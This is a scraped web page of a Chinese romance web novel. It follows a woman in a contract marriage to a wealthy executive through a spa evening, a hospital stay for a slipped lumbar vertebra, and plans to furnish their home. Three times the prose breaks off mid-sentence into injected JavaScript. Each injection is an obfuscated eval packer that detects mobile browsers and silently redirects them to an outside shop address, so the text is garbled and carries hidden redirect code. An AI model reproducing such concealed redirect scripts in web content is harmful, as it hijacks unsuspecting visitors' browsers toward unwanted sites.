$(''#content'').append('' 用品都带去上班了,结果怎么背去的,又怎么背回来了。 好不容易放个假,在地铁上站了将近一小时才到家,现在又要她继续奔波,想起来就觉得丧气。 她掏出手机,想跟裴聿珩说一声今天不过去了,还没拨出去,就接到了裴聿珩的电话。 温今遥越发觉得,这男人搞不好是在她身上安了摄像头。 她接起来,裴聿珩声音很轻:“到家了?” “啊,”温今遥心虚得很:“但咱俩说的,好像不是同一个家。” 电话另一头低低地笑起来,挠得温今遥耳朵直痒:“才结婚就要分居?这要是让别人知道,鸿禧的股价怕是要大跌。” 温今遥也炒过股,赔得她晕头转向的,一听股价大跌四个字,昔日的惊恐被悄然勾起:“那,那我现在过去吧……” 裴聿珩似乎忍俊不禁,通过电波传来的声音显得尤其清润:“下楼吧,我在你楼下。” 温今遥一听劳动他大驾,火急火燎跑下楼,拉开车门就忙不迭道歉:“对不起啊裴总,我——” “我是你的丈夫,不是你的上司,”裴聿珩笑着递来一个颈枕:“累了先靠一靠,回家吃了饭再好好休息。” 吴桓抬头从镜子里哀怨地望她一眼,真的很想问,家门口的灌饼就那么好吃吗。 灌饼自然好吃,但总归比不上裴聿珩精心安排的晚餐。 温今遥一顿饭吃得舒心,酒足饭饱地在落地窗前消食看风景,想想公司附近那些油腻腻的外卖就觉得难受。 ……算了,不要得寸进尺,得陇望蜀当心被雷劈。 她溜溜达达地溜到厨房,见裴聿珩站在岛台前,对着台面上明显过满的食盒一筹莫展。 他在家里还穿着衬衣,只是解开了两颗纽扣,右手衣袖挽至小臂中央,青筋蜿蜒着埋进卷起的袖中,手里握着一双玉色筷子,犹豫着不知道该怎么办。 温今遥望着那截极富力量感的手臂,意味不明地咽了咽口水。 她状似无意走过去:“怎么啦?” 裴聿珩:“是明天要带的午饭,姜姨又做多了。” 他偏头看她:“她像是年纪大了,总是掌握不好量,我看应该把她辞掉,换人了。”说完又轻叹一声:“她做了很多年,怪可惜的。” 温今遥听不得这种事:“别啊……她得多伤心。” 裴聿珩随口道:“不然以后你也带便当,这样就刚好。” 温今遥想都没想:“好呀,这样你也不用辞掉她了。” 裴聿珩半低着头,在温今遥的视线死角处,轻轻扬起了唇角。 “那就帮了她大忙了,”他笑着:“她该谢谢你。” 姜姨确实应该谢谢温今遥,只不过不是因为她替她揭过了错误,而是为了开始准备便当而涨的一半工钱。 目的达成,裴聿珩状似无意道:“今天吴桓去送你上班,结果跟你错过了,白白等到十点。” 温今遥一愣:“送我上班做什么?为什么不提前告诉我呢?” “提前说了你会同意吗?” “……不会。” 裴聿珩动作轻柔地替她把碎发挽去耳后:“他愧疚得很,所以你就别乱跑了,这里离威禾步行只有五分钟,也省得我担心你。” 他指尖温热,轻轻擦过她的耳尖,惹得她后颈忽然一麻,手臂上莫名起了一层战栗。 她呼吸蓦地一滞,手指不由捻起衣角,道:“我记得了,以后下班就回这边来,你让他不用放在心上。” 衣食住行,他恨不得样样包办,温今遥惊觉她好像一夜之间从一个一人吃饱全家不饿的单身狗,变成了一个有人知冷知热、事事被人妥帖照顾的小女孩。 她自己也没有发现,自己的唇角在这样细致的关切里,偷偷浮了起来。 裴聿珩的目光不由被这点小小的悸动所捕捉。 她就是这样,自己跑来跑去也不怎么觉得麻烦,但一听说别人因为她愧疚,便立刻点头缴械。 一切都跟他的设想分毫不差。 他抬手捏捏女孩的脸:“听话的小朋友应该有糖吃。”又转头看一眼挂钟:“人也差不多该到了。” 7. 第 7 章 不出五分钟,门口的内线电话就响了。 公寓前台得了首肯,裴聿珩预约的两位家庭SPA师准时上门,站在门口齐齐对温今遥露出公式般的精准微笑:“夫人好。” 温今遥主打一个手足无措:“不不不别别你们是谁?” 裴聿珩的手自然而然搭上她的肩膀,感觉到她浑身一紧,便俯下身凑到她耳边:“有外人在,忍一下。” 温今遥被他喷薄在自己耳边的热气一激灵,终于想起自己的身份,端起架子来,顺便向裴聿珩的方向靠了靠,一只手轻轻搭上那截她之前目不转睛盯过的手臂:“欢迎,请进吧。” 她或许没有发觉自己半个身子都贴着裴聿珩,一丝缝隙都不留,为了保证“外人”的观感,她还笑着抬头跟他对视一眼,柔声问道:“老公,这两位是?” 刚刚还让她“忍一下”的裴聿珩,在她精湛演技下陡然失语,瞳孔都颤动了一瞬,从来没觉得她身上的气息有这么强的存在感。 他喉头上下一滚,再开口声音明显低沉:“看你最近太累,给你约了SPA。” SPA师十分有眼色地赞叹:“裴总跟夫人感情真好,不愧新婚燕尔。” 温今遥带着点讶异看了裴聿珩一眼。 结婚第二天,他就已经把已婚的消息散播出去了? 她莫名有一种回不了头的错觉。 这点转瞬即逝的讶异落进裴聿珩沉静眼底,却被解读成了一种接受。 没有当面闹起来,看来接受良好。 提前打预防针果然是对的,看来公开婚讯可以提上日程了。 温今遥没有逮到多问的机会,就让SPA师打断思绪:“如果可以开始了,就麻烦夫人带我们去浴室。” …… 打工人温今遥这辈子还没这么奢靡过。 柔润洁净的按摩浴缸中兑了红酒,在水流温和冲击翻滚下腾扬起一池暗红色的醇香泡沫,随着水波涌动一下一下轻轻拥吻着瓷白肌肤,她仿佛要在这温柔的包裹中彻底失去体重,轻盈地飘起来。 一双柔软的手轻轻按摩着头部,连日来精神紧绷的紧张感渐渐消失无踪,手脚和肩背沉积的酸痛感被另一双手蘸着精油轻轻抚平,像是卸下了她长久以来背负的压力和负担。 一切粗糙的现实感几乎完全被宁静的抚摸和按压所消解,头顶轻到要随着水声飘散的声音仿佛很远:“累了的话,可以睡一下。” 她几乎没有犹豫,意识直直沉入了温柔绵密的水底,像回到了某种混沌的安全中。 再醒来,是门口响起轻如试探的敲门声:“今遥?” 温今遥迷迷糊糊地睁开眼,发现浴室空旷——SPA师已经离开,恒温浴池定时到了,水温刚刚要开始变冷。 她“哎”了一声,门口继续传来裴聿珩沉缓的声音:“出来回房睡,别着凉。” 温今遥揉着眼睛擦干了身体,紧接着就发现一个很严重的问题。 她没有拿换洗衣物,从里到外都没有。 这个发现让她脑中炸开了一颗手雷,炸得她又热又痛,心跳也跟着凑热闹似地节节飙升。 怎么办,是要真空裹着浴巾出去吗? 她看了看手里的浴巾,柔软宽大,倒不至于衣不蔽体,但是…… 但是她过不了心里那道坎! 跟他重逢才四五天吧,一个周都没到呢,这跟陌生人有什么区别?丢一次人再也不见也就算了,跟他偏偏得朝夕相处。 救命! 门外恰到好处地响起裴聿珩关切的声音:“怎么了?头晕吗?” “啊,没有……” 温今遥正想着找什么理由糊弄过去,就听他道:“是没带衣服进去吗?我帮你拿来了。” 温今遥听清他话的一瞬间,简直想要以头抢地。 拿来了?什么叫拿来了! 你拿的是什么!睡衣拿了就算了,内衣内裤你也拿了吗! “今遥?” 温今遥想,就赌一把,内衣内裤她收在衣柜里,不像睡衣直接扔在床上,再说,他应该想不到要拿那些吧。 她一咬牙,上前把门开了小小一条缝,一只手伸出去:“……谢谢。” 或许是她听错了,门缝里传来轻轻的一声笑,然后手上一沉,裴聿珩在门外道:“快换上,一会儿要感冒了。” 门缝合拢,温今遥听见自己动若擂鼓的心跳声一下一下扣在嗓子眼,简直要跳出来。 然而,它在温今遥看到睡衣里包着的皮卡丘内裤的刹那,彻底死了。 她望着那条自己钟爱的明黄色皮卡丘内裤,从自己的品味责怪到自己的出生,恨不得直接就地灰飞烟灭了才好。 按说她六七岁就认识裴聿珩,高低也算是青梅竹马了,在他面前也没少丢过人,她暗地里真的把他当成亲哥哥,什么话都敢在他面前说。 现在她面对的依旧是那个人,他似乎变了很多,但她记忆里那种温润的包容和笑意,似又仿佛从来没有变过。 可她偏偏尴尬得羞愤欲死。 她也说不清自己是什么心态,甚至变态地想,如果门外给她递内裤的人是樊炜呢,她还会这样害羞得迈不出一步吗? 结论是不会,不但不会,她还会阴阳怪气地来一套“淫者见淫”“看什么看是不是想尝尝十万伏特”和“敢说出去老娘阉了你”的组合拳。 温今遥想不明白自己到底是怎么了,脑海里一边无声地尖叫,一边表情麻木地换好衣服,破罐破摔地打开浴室的门,裴聿珩竟然还没走,还从容悠然地靠在门口,等她出来。 温今遥眼神发直,根本不敢看他:“别跟我说话,求求你当我死了。” 裴聿珩简直坏出新境界,语调里浸润的全是揶揄的笑意:“我们今遥品味还是跟小时候一样,一点都没变。” 温今遥用上了最后的意志力才没有发出尖锐爆鸣,哆哆嗦嗦、毫无说服力地威胁:“你要是敢说出去,我就……” 就了半天,也没就出什么下文来。 她哪有裴聿珩的把柄! 裴聿珩笑着握住她抖抖索索晃来晃去的手指:“把家人的隐私抖给外人?我恐怕没有那么大度。” 家人……吗? 这两个字简直像是带着实体钻进她的耳朵,温今遥不可置信地望着他,想,对啊,我跟这个男人结婚了。 他是我的丈夫,我们以后是会有肌肤之亲的,不要说一件衣服,我们的身体、气息、命运,都已经绑定在一起,难分彼此。 乱糟糟的心里忽然冒出一个清明的念头—— 这场婚姻只是一个契约而已,大家各取所需,若是真论感情,裴聿珩这样的男人,这辈子都不会轮到她。 又在肖想什么不属于自己的东西? 被“家人”两个人点燃的小火苗让这个劲风一样的念头一吹,可怜巴巴地熄灭了。 温今遥轻轻抽回手:“……谢谢你的礼物,”她指了指满地是水的浴室:“一会儿我会收拾干净。” 裴聿珩眼中难得掠过一丝困惑,但没有追问,只是拍拍她的头:“家务有公寓管家打理,你好好休息就是。” 温今遥竟像是不领情,第一次躲开了:“我已经不是小孩子了。” 裴聿珩悬在半空的手骤然一空,指尖兀自蜷了蜷,只能收回去。 “好,”他依语气依然温和,听不出任何波动:“工作辛苦,早点睡吧。” 温今遥点点头:“你也是啊裴总。” 裴聿珩眉心极轻地抽了下。 前后不到两小时,他又从“老公”变回了“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634202|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴总”。 看着她的房门轻轻关上,裴聿珩拿出手机,给吴桓发了条消息:“跟媒体那边打声招呼,准备一下公布婚讯的稿子,明后天拿给我,我亲自审。” 吴桓极为敬业地秒回:“要先给裴老那边说一声吗?” 裴聿珩坐在昏昧的灯光里,声音沉郁清冽:“我有安排。” …… 第二天温今遥在舒适的大床上醒来,只觉得元气满满,连日来加班的疲惫都随着这场放松和深眠消散,身体久违地轻盈起来,连一直以来久坐造成的腰痛都缓解不少。 这就是钱的力量吗,她想,难怪人人都喊着要搞钱。 又是忙忙碌碌、一坐下屁股就离不开办公椅的一早上。等有人张罗着点外卖,温今遥才惊觉已经中午,正要起身去拿便当,却忽然发现,只要下半身一挪动,腰就跟断了一样疼,软绵绵的使不上一点力气。 她不服气,挣扎着想换个角度再试试,结果双手刚撑上扶手,疼痛就像一道闪电一样迅猛袭来,砸得她半天没缓过劲来。 温今遥终于意识到问题的严重性——她站不起来了。 她整个人如遭雷击,瞬间脑子里只有一个想法:果然跟裴聿珩结婚要付出代价!这是要瘫痪了吗! 余承轩捧着手机到处找人凑单,溜达过来一抬头,见温今遥面色惨白,大冬天的额角竟然缀着细汗,大惊:“今遥姐你怎么了?” 温今遥已经被疼痛和自己失去行为能力的念头打击得面无人色:“我好像瘫痪了……” 这话一出,办公室里凡是能喘气的,目光全都被她吸了过来。 人群呼啦一下围过来,询问的询问,按摩的按摩,叫车的叫车,一时间办公室人声鼎沸,竟让温今遥生出“人间有真情人间有真爱”的感慨。 她十分感动:“谢谢大家,希望大家能多给我捐点钱。” 这边动静太大,把下午要去跟合作方开会的李玉都惊动了。总监的威信在此刻发挥了决定性作用:“都别围着了,赶紧去吃饭,我送她去医院。余承轩,你跟着来。” 余承轩“哎”了一声,不忘给温今遥拿了羽绒服,半蹲在温今遥面前:“今遥姐,我背你。” 李玉看得笑了:“这孩子,你今遥姐没白疼你。” …… 一通鸡飞狗跳的折腾,总算把温今遥放到了医生面前。 温今遥都快哭了:“医生你看我这能算工伤吗?医保能报多少啊?” 李玉一巴掌拍在她肩头:“还怕威禾不管你?” 医生眼皮都懒得抬,盯着电脑刷刷写病历:“腰椎滑脱,久坐人群里挺常见的,问题不大。住院观察几天,然后戴个腰托就行。” 温今遥听了诊断,松了一大口气:“那、那它怎么就滑脱了呢?” 医生抬眼看了看李玉:“上班上的。” 李玉:“……” 余承轩乖乖站在一边,忽然腰间莫名一冷,默默地伸手摸了摸腰。 从诊室出来,李玉给温今遥借了轮椅,看着余承轩把她扶坐在上面,看了眼时间道:“没大事就行,这两天你好好休息吧,我赶着开会就不陪你了。余承轩,照顾好你今遥姐。” 余承轩高高兴兴哎一声,送走李玉,又安顿温今遥:“我去交钱拿药,你一个人在这行吗?”想了想又打消念头:“还是推你一起去好了。” 温今遥笑着推他:“我又不是三岁,这么大的人了还能丢吗?你快去啦!” 余承轩再三确定她确实好多了,才一步三回头地走了。 温今遥这辈子第一次坐轮椅,正新鲜着,前前后后来来回回地滚着轮子玩,正要往前来个冲刺,背后的把手却忽然被人拽住了。 温今遥莫名地回头,打眼一看惊得魂都没了:“裴聿珩??” 8. 第 8 章 裴聿珩身着一件藏蓝色笔挺大衣,正面色紧绷地站在她身后,沉郁视线落在她恍然未觉的脸上,神色复杂:“你怎么在医院?这是怎么了?” 温今遥正要回答,却感觉后背有细微的轻颤,低头看去,只见他单手攥着轮椅的把手,冷白手背覆着淡淡青筋,此时因为用力过度而指节发白。 温今遥本能地想要安慰他:“没事啦,就是腰椎滑脱……” “这叫没事?”裴聿珩的声音是她从未听过的冷冽:“为什么不给我打电话?” 温今遥一愣:“为什么要给你打电话?” 裴聿珩眉心一挑,满腔郁结地正要开口,一道明亮年轻的声音忽然打断了他:“今遥姐,他们说买腰托要你的尺寸——咦?” 余承轩手里捏着药费单,脚步堪堪停在两人几步之外,困惑地望着眼前的人:“这位是?” 裴聿珩只听到了“今遥姐”三个字,脸色蓦地淡了,迫人的疏离感两丈外都能把人绊一跟头,余承轩被他这样莫名地瞥了一眼,整个人险些石化,结结巴巴地:“今遥姐,你、你朋友啊?” 温今遥现在除了腰疼,还头疼:“嗯,我一个朋友——” 裴聿珩忽然长腿一迈,走上前去抽走了余承轩手里的单据:“谢谢你,剩下的交给我就可以了。” “啊,那、那……”余承轩望着温今遥,似乎在等她出声,做某个选择。 温今遥“啊哈哈”地干笑了一声:“那个,小余你先回去上班吧,他送我就行了。” “那行……”余承轩眼神不停在裴聿珩耐心的底线上试探作死,裴聿珩淡淡一眼,他缩了缩脖子:“那我先走了哈。” 余承轩一步三回头地往前走,看到那个身材颀长的男人正俯身听温今遥说话,眉目之间似是缀着担心,细看又埋着些无奈。 他心里不无酸涩地想,今遥姐跟他,看着好相配。 温今遥可不这么想,她这时候正对着裴聿珩的耳侧小小声音大放厥词:“你别看了,你知不知道你阴着脸的时候特别吓人?把他吓坏了以后我使唤谁去?” 裴聿珩笑了一声,眉间稍松,开口语气远不像刚刚那样冷硬:“我去给你办住院手续,你乖乖等着。” 温今遥:“哦……可是你怎么在这?你一个人啊?吴桓呢?” 裴聿珩:“例行体检。” 温今遥点点头,没太在意。 裴聿珩办好手续,请好24小时护工,在楼下就把自己的抗焦虑药物放进大衣内袋里,才上楼安顿温今遥。 护工正要动手把温今遥从轮椅上扶上床,裴聿珩侧身挡了挡:“我来吧。” 他俯身将手臂穿过她的膝弯,另一只手小心地撑在她腰间:“你别用力,让我来。” 温今遥从善如流地装尸体,整个人一下子陷在裴聿珩怀里,周身尽是他身上淡淡的凛雪气息,她双手不知道往哪里放,只好从他双臂下穿过,轻轻环住他的身体。 将她抬起的动作蓦地一滞,有模糊而凌乱的心跳声穿过厚重的大衣传来,一下一下打在温今遥靠在他胸口的侧耳上,她懵懂地一抬头,视线对上他嶙峋起伏、微微滚动的喉结。 他们从来没有靠得这么近,近得他在室内微微升高的体温也一起传到了她的脸上。 裴聿珩稍一用力,便将她从轮椅上抱起来,小心翼翼地放在病床上,整个过程极为仔细谨慎,看得一边的小护士连连咋舌:“你男朋友对你好温柔!” 温今遥打着哈哈准备客气一句,谁知裴聿珩开口便温和地纠正人家:“是丈夫,我们结婚了。” 小护士愣了一秒,羡慕之情更加溢于言表:“真好……” 温今遥:“……” 她忽然觉得这样在小事上执拗的裴聿珩很好玩,不免戏瘾大发,嗲里嗲气地恶心他:“老公,我想吃红房子的大泡芙~” 说完自己先起了一身鸡皮疙瘩。 没想到裴聿珩比她还会演,宠溺地摸摸她的头发:“好,我叫人去买。” 温今遥:…… 治不了你了是吧? 温今遥:“老公真好呀~么么~” 裴聿珩不尴不尬,眼角眉梢尽是温柔笑意:“好,等护士小姐交代好主意事项。” 温今遥:………… 好? 好什么?怎么就好了? 姓裴的你是不是在耍流氓? 不过半小时后,温今遥就觉得,裴聿珩要是想多耍几次流氓,也不是不行。因为吴桓真的送来了刚刚出炉,还酥脆着的大泡芙。 裴聿珩拿进来的时候是两袋,一袋给她,另一袋十分周全地温声分给了其他两张病床上的病人。 “我们今遥比较要强,痛了也不会说,两位要是看到她有什么不妥,任何时候,都请打电话告诉我,十分感谢。” 同病房的大妈们对裴聿珩交口称赞,连声夸着“多好的孩子,小姑娘你好福气啊”“就是,小伙子你还有没有没结婚的兄弟,我给我闺女也张罗张罗”,裴聿珩每一句都应得礼貌妥帖,一时间病房里热闹的简直像开起了茶话会。 温今遥看着他忙碌的身影,一开始像在看皮影戏一样看热闹,看着看着就笑不出来了。 他是多好的人呀,她想,如果能真的跟他当家人,而不是开始于一场契约,那该多好呢。 裴聿珩似乎很忙,不多会儿功夫接了六七个电话,布置好了帘子又低声问温今遥:“事发突然,没来得及联系病房,现在有单人间了,要过去吗?”他拨了拨温今遥额前的碎发:“就是你又得跟着折腾一次。” 温今遥眼睛瞪得老大:“你泡芙都花了,现在走算是怎么个意思?白收买人心了?” 说得好像泡芙是什么通用货币一样。 裴聿珩忍俊不禁:“这倒不碍事,就是怕你休息不好。” 温今遥摇头:“没事的,这地方我没来过,晚上一个人怪吓人,人多好,还能唠个嗑。” 裴聿珩正想说什么,手机又响,他接起来应了几句,转身为难地看了一眼病床上的温今遥。 温今遥拉拉他的衣袖:“你快去忙,我这会儿好多了,有事我再给你打电话。” 话一出口她自己都愣了,什么时候她这么理所当然,觉得有事可以给他打电话了? 裴聿珩眉头挑了挑,似乎很是满意这个说法,朝她温润一笑,打着电话离开了。 温今遥上午被吓得够呛,现在安静地躺在床上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634203|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又被人这样细心照顾,久违的安全感在心底像清泉一般上涌,她就在这样平稳安和的心绪中,渐渐睡了过去。 等她再醒来,天已经黑了。 时间已至深夜,满天繁星透过病房不大的窗户静静地垂在天际,病房内静悄悄的,寂静中只有床头钟表的秒针在尽职尽责向前奔逝,而一同响起的,还有几不可闻的、极轻的呼吸声。 温今遥转过头,看见稀薄月光从沉黑夜色里铣出一个清隽人影来,他双手抱臂,一条腿架起,头微微垂着,肩线在如盐月色中轻微起伏,也正沉在自己的一段梦里。 温今遥在这样的静谧中,第一次认认真真用目光描摹裴聿珩的影子。 裴聿珩这个人于她而言,更像是少女时代带着瑰色的梦境,后来两人天各一方,再重逢已经是物是人非。她不知道这七年在他身上都发生了什么,他变成了什么样的人,他也同样不知道她。 但纵有时光横贯在他们之间,只要他是想要的,而她能给,她就没有什么可犹豫的,无论是婚姻也好,是住在一起也罢,她都没有异议。 不是什么意难平,也不是什么男女之情,不过都是她欠他的,仅此而已。 想起过去,她有点难过,身体稍微动了动,腰上的疼痛如约袭来,她一下没控制好力度,手肘撞上边柜,嘭地一声,很轻很短促,可裴聿珩还是惊醒了。 他目光涣散了两秒,瞬间清醒,倾身过来问:“怎么了?要喝水吗?” 他声音还带着刚刚醒来时的低哑,去给她倒水的动作倒很麻利。 温今遥拉住他:“我不渴。你怎么又来了?这么忙,怎么不回家好好休息?” 裴聿珩低声清了清嗓子,柔声道:“你说你在陌生的地方,晚上一个人会怕。” 温今遥的眼睛在十二月的寒夜里,被这句话烧得阵阵发热。 这么多年,哪有人在乎过她晚上一个人会不会怕。 她想起白天时他对病友们的叮嘱,于是问:“你怎么知道我痛了也不会讲?我可怕疼了……” 裴聿珩给她掖掖被角:“小时候你犯胃病的时候,医生也说,病到那个程度,你应该疼好久了,可你从来没说过。” ……是了,小时候她从来不敢跟爸爸说她生病了,不然就会招来一顿好骂,还不如自己偷偷忍着,不管是感冒还是胃痛,慢慢也就自己好了。 这些事她以为自己已经不记得了,但裴聿珩一提起来,她就好似猛地回到了以前。 裴聿珩轻声道:“以后什么都不要忍,哪怕有一点不舒服,都要第一时间告诉我,不管我在哪里,都不会不管你,记住了?” 一番话说得温今遥只觉得无以为报,想给他挪出半个床来,让他也上来挤挤,对付一宿,结果下半身刚一挪动,就疼得她嘶嘶直抽气。 裴聿珩立刻按住她:“你不要动,要什么?我帮你拿。” 温今遥:“……” 其实她从一醒来就受到了自然的召唤,本来想叫护士来,结果一睁眼就看到裴聿珩守在旁边,硬是到现在都没找到个合适的机会。 但膀胱的压力越来越大,也由不得她要面子,温今遥只能在黑暗里忍着发烫的脸:“我、我想去厕所。” 9. 第 9 章 裴聿珩愣了一瞬,继而忍俊不禁。 温今遥声音低得快钻进地缝:“是你让我不要忍的……” “对,是我说的,”他的声音带着明朗的笑意:“等我一下,我去叫护士。” “哎哎——”温今遥叫住他:“你白天才跟人家吹过咱们是夫妻,这下子连避嫌的机会都没有了。” 温今遥本意是让他赶紧回家睡觉,她去下洗手间估计能一觉到天亮了。 可裴聿珩显然没理解她的暗示,犹豫了一瞬,弯腰抱她起来:“那我带你去。” 温今遥:…… 你你你你把我放下! 其实她下午睡得迷迷糊糊时,护士来给她做过理疗,她疼醒了几分钟,吃了粒止疼药,又睡了过去,现在感觉疼痛也没有那么难忍,一步一挪地去厕所,倒也不是做不到。 裴聿珩小心地将她扶到门口,扣了扣门,里面没声音,想再扶着她往里进,温今遥身子一转,把他拦在外面:“我自己可以。” 裴聿珩挑着眉问:“真可以?” 温今遥笃定:“真可以。” “好,那我在这等你。” 温今遥:“……你,你不要在这等我。” 见裴聿珩拧起眉头,温今遥脸红透了,低着头轻轻点了点耳朵。 裴聿珩了然地笑了:“我去旁边透透气,你好了就敲门叫我。” 温今遥看着他走去走廊尽头,这才拖着步子慢慢进了隔间。 不生病的时候不知道,一生病才发现腰是多重要的一个部位——走路要用它,弯腰要用它,蹲下起立都要用它,平时只道是寻常的动作,一套流程搞得温今遥生不如死。 解决完人生大事,她挪到门口,探出头去,见裴聿珩斜靠在冷硬的白墙边,半低着头,月光将他的薄薄的影子拉得极长,煊赫着投在空无一物的墙上。 他刻意压低的声音传来:“不用推迟,你八点半直接来医院接我。” 看来是明天还有公干。 温今遥轻轻扣了扣门,裴聿珩立刻转过身,长腿生风,快步走到她面前。 温今遥抬头看着他眼底的青黑:“明早还有工作?” “嗯。” “对不起啊,”她真心实意地愧疚:“耽误你了。” 裴聿珩俯身抱起她:“熬夜对我来说是常事,再说,你比开会重要。” 他动作已经十分娴熟,很知道怎么用力、手放哪里,才能让怀里的人好受一些。病床到洗手间路不算短,温今遥的腰似乎在这种精心照料下先她一步睡着了,一点都没疼。 “睡吧,”他将她重新安顿好:“我在这。” …… 等她再醒来,裴聿珩已经离开了,早饭香喷喷地摆在边柜上,小米粥和水蒸蛋还热着,油条和小笼包的焦香细细地钻进她鼻子里。 ……这爆炸的碳水,简直能赶上她一整天的食量。 她一动,旁边的护工就上来,给她支好小餐桌:“裴先生交代过,你不用动,有什么事都叫我就行。” 温今遥就这么衣来伸手饭来张口地将养了两天半,终于可以出院了。 这病看似恢复得快,但极易复发,座椅和坐姿都非常重要,她出院的当天,裴聿珩就告诉她,明天有人上门定制人体工学椅,家里和办公室各处一张,防患于未然。 可温今遥动了点别的心思。 原先的出租屋又小又旧,房东也严厉,没有任何爆改的空间,但现在她住大平层,也想要试着按照自己的心意,买一张合用的书桌。 只是大平层是裴聿珩家,不是她家,想了半天,总觉得自己僭越。 琢磨半天,温今遥在车上想了个办法,探头去问旁边的裴聿珩:“咱们不要定做,直接去买现成的,好吗?” 裴聿珩给她把靠垫正了正:“定做会更贴合你的身体,你不喜欢?” “也不是不喜欢……”温今遥犹豫道:“我还没去过家居城来着……” 裴聿珩眼神落在她半垂的眼睫上,心中蓦地一动:“说起来咱们结婚之后,还没有好好布置过新房。”他顺势握住温今遥的手:“不如明天一起去挑挑有没有喜欢的家具?” 温今遥:? 怎么回事,这家伙是不是有读心术? 裴聿珩没有读心术,他只是记得从前温今遥说过的每一句话而已。 “聿珩哥哥你们家的茶几好漂亮,也是从旧货市场买的吗?” “……不是,是从家居城买的。” “什么叫家居城?” “就是,里面有很多桌子的地方。” “那一定都很漂亮……好想去哦……” “你一个小孩去那做什么?都是结了婚的大人才能去的。” “有什么了不起,总有一天我也会长大,也会结婚的!到时候我就把整个家居城都搬回家!” 这些平淡无奇的话语,始终妥帖地存放在他心底的某个角落,等着某个女孩在某个特定时刻,手持独一无二的密码,将它们重新断点续传。 …… 第二天是周末,裴聿珩习惯性醒得很早,点亮阅读灯,靠在床头翻邮件。 此时天光未醒,整个北城尚在静谧的安眠之中。顶层公寓在云端俯瞰城市,在这种时候更显寂静。 裴聿珩向来浅眠,人人都以为他天生精力旺盛,实际上入睡困难和睡眠不足每一晚都如约而至,缺失的休息只能靠私人医生精心调配的补剂来弥补。 清晨时光向来无人打扰,但今天,他听见门外传来窸窸窣窣洗漱的声音。 裴聿珩抬眼看了眼时间,凌晨五点二十分。 他无意识地勾了勾唇:这么早,不知道她要做什么,是因为太兴奋了吗? 公寓经过特别的隔音设计,一般而言听不见对面的声音,除非隔壁房间拆家,不然很难感受到对面的动静。 ……但温今遥现在就是在拆家。 裴聿珩打字的手指被一阵长而刺耳的拖蹭声打断,隔着加厚的墙壁,那声音在持续两三秒之后戛然而止,随后是一段不太正常的静默。 他轻轻笑了一声,都能想见对面不知道在折腾什么,不小心弄出了噪音,然后如临大敌地石化在原地,竖起耳朵听着他这边的动静。 像在家里养了只捣蛋但会看人脸色的小猫。 裴聿珩思索了一阵子,决定去隔壁帮着小猫一起拆家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634204|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温今遥穿着一身明黄色皮卡丘家居服,吊带短裙,十分清凉,拆家非常方便。她正弯着腰挥汗如雨地挪动立在角落的置物架,后腰忽然被一双干燥温暖的手掌贴住。 她浑身像触了电,手上卷尺落地,应激似地想弹开,覆在侧腰的手却像预判了她的动作,在她转身之前便稍稍上了力道按住她,一道裹着温热气息的和缓声音落在她头顶:“腰才刚刚好,怎么就做起了体力活?” 温今遥像被抓包似地僵在原地,不止是因为带着裴聿珩特有味道的潮热鼻息正轻轻扇动她颈后的发丝,搔得她直发痒,还因为透过薄薄的衣料源源不断地传来的属于他的体温,在她出了薄汗的肌肤上迅速流窜,那一小片肌肉抽筋似地绷了一瞬间,立刻软绵绵地卸了力。 如水夜色在东方被悄悄掀起一角,而房间里暖黄温柔的灯光氤氲成一片令人心旌摇曳的滤镜,将两人贴得极近的心跳款款放大。 温今遥忽然转过身,踮起脚尖捂住裴聿珩的眼睛:“你什么都没看见!” 裴聿珩的睫毛在她手心轻扫两下:“嗯,我什么都没看见。” 温今遥尴尬得想死:“你没看见什么!” “我没看见你穿着小朋友一样的睡衣,”裴聿珩轻笑:“也没看见你头上蹲着一只大黄鸭。” “……啊啊啊啊啊!”温今遥一把扯掉刘海贴,尖叫着把裴聿珩推出房间,砰一声关上了门。 裴聿珩抱着双臂靠在门口,听着里面衣柜哗啦一声被拉开,紧接着是衣架相碰、兵荒马乱的声音,几下窸窸窣窣的衣料摩擦声后,门忽然又开了。 温今遥穿着一身黑色修身正装,故作镇定道:“裴总,我一般不穿那种东西,真的。” 裴聿珩忍着笑:“哪种?” “我们社畜干体力活的时候是这样的,”温今遥一脸正色地给他洗脑:“你懂,太热了。” 裴聿珩一改平日里搭台阶给她下的作风,故意逗她:“十二月中旬,热?我不懂。” 温今遥气急败坏扭头就跑:“多余跟你这种资本家说!” 裴聿珩长臂一伸给她捞回来,揶揄般温言道:“温小姐,你已经结婚了,你丈夫的义务就是帮助你、照顾你,你偷偷自己都做了,是不满意我的存在吗?” 